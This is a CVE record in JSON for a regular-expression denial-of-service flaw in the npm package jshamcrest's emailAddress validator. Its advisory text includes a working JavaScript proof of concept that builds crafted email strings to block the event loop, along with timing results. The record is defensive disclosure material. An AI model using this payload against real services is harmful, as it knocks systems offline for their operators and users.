{"dataType": "CVE_RECORD", "containers": {"adp": [{"metrics": [{"cvssV3_1": {"scope": "UNCHANGED", "version": "3.1", "baseScore": 7.5, "attackVector": "NETWORK", "baseSeverity": "HIGH", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "integrityImpact": "NONE", "userInteraction": "NONE", "attackComplexity": "LOW", "availabilityImpact": "HIGH", "privilegesRequired": "NONE", "confidentialityImpact": "NONE"}}, {"other": {"type": "Unknown", "content": {"data": "{\"description\":\"HIGH\"}"}}}], "affected": [{"vendor": "npm", "product": "jshamcrest", "versions": [{"status": "affected", "version": "0", "versionType": "semver", "lessThanOrEqual": "0.7.1"}], "defaultStatus": "unaffected"}], "references": [{"url": "https://github.com/advisories/GHSA-xj62-87pg-vcv3"}, {"url": "https://nvd.nist.gov/vuln/detail/CVE-2016-10521"}, {"url": "https://www.npmjs.com/advisories/53"}], "descriptions": [{"lang": "en", "value": "Regular Expression Denial of Service in jshamcrest"}, {"lang": "en", "value": "The `jshamcrest` package is affected by a regular expression denial of service vulnerability when certain types of user input are passed in to the emailAddress validator.\n\n\n## Proof of concept\n\n```js\nvar js = require('jshamcrest')\nvar emailAddress = new js.JsHamcrest.Matchers.emailAddress();\n\n\nvar genstr = function (len, chr) {\n    var result = \"\";\n    for (i=0; i<=len; i++) {\n        result = result + chr;\n    }\n\n    return result;\n}\n\n\nfor (i=1;i<=10000000;i=i+1) {\n    console.log(\"COUNT: \" + i);\n    var str = '66666666666666666666666666666@ffffffffffffffffffffffffffffffff.' + genstr(i, 'a') + '{'\n    console.log(\"LENGTH: \" + str.length);\n    var start = process.hrtime();\n    emailAddress.matches(str)\n\n    var end = process.hrtime(start);\n    console.log(end);\n}\n```\n\n### Results\nIt takes about 116 characters to get a 1.6 second event loop block.\n```\n[ 1, 633084590 ]\nCOUNT: 51\nLENGTH: 116\n```\n\n# Timeline\n- October 25, 2015 - Vulnerability Identified\n- October 25, 2015 - Maintainers notified (no response)\n\n\n## Recommendation\n\nThe `jshamcrest` package currently has no patched versions available.\n\nAt this time, the best available mitigation is to use an alternative module that is actively maintained and provides similar functionality. There are [multiple modules fitting this criteria available on npm.](https://www.npmjs.com/search?q=validator)."}], "providerMetadata": {"orgId": "386269d4-a6c6-4eaa-bf8e-bc0b0d010558", "shortName": "npm", "dateUpdated": "2019-02-18T23:38:51Z", "x_subShortName": "npm"}}], "cna": {"metrics": [{"format": "CVSS", "cvssV2_0": {"version": "2.0", "baseScore": 5, "accessVector": "NETWORK", "vectorString": "AV:N/AC:L/Au:N/C:N/I:N/A:P", "authentication": "NONE", "integrityImpact": "NONE", "accessComplexity": "LOW", "availabilityImpact": "PARTIAL", "confidentialityImpact": "NONE"}}, {"format": "CVSS", "cvssV3_1": {"scope": "UNCHANGED", "version": "3.1", "baseScore": 7.5, "attackVector": "NETWORK", "baseSeverity": "HIGH", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "integrityImpact": "NONE", "userInteraction": "NONE", "attackComplexity": "LOW", "availabilityImpact": "HIGH", "privilegesRequired": "NONE", "confidentialityImpact": "NONE"}}], "affected": [{"cpes": ["cpe:2.3:a:jshamcrest_project:jshamcrest:*:*:*:*:*:node.js:*:*"], "vendor": "jshamcrest_project", "product": "jshamcrest", "versions": [{"status": "affected", "version": "0.6.7", "versionType": "custom", "lessThanOrEqual": "0.7.1"}], "platforms": ["node.js"], "defaultStatus": "unaffected"}], "references": [{"url": "https://nodesecurity.io/advisories/53", "tags": ["broken-link"]}], "descriptions": [{"lang": "en", "value": "jshamcrest is vulnerable to regular expression denial of service (ReDoS) when certain types of user input is passed in to the emailAddress validator."}, {"lang": "es", "value": "jshamcrest es vulnerable a una denegación de servicio con expresiones regulares (ReDoS) cuando se pasan ciertos tipos de entradas de usuario al validador emailAddress."}], "problemTypes": [{"descriptions": [{"lang": "en", "cweId": "CWE-20", "description": "CWE-20"}, {"lang": "en", "cweId": "CWE-400", "description": "CWE-400"}]}], "providerMetadata": {"orgId": "00000000-0000-4000-A000-000000000003", "shortName": "nvd", "dateUpdated": "2018-05-31T20:29:00Z", "x_subShortName": "nvd"}}}, "cveMetadata": {"cveId": "CVE-2016-10521", "state": "PUBLISHED", "dateUpdated": "2024-11-21T02:44:11Z", "assignerOrgId": "36234546-b8fa-4601-9d6f-f4e334aa8ea1", "datePublished": "2018-05-31T20:29:00Z", "assignerShortName": "hackerone"}, "dataVersion": "5.0"}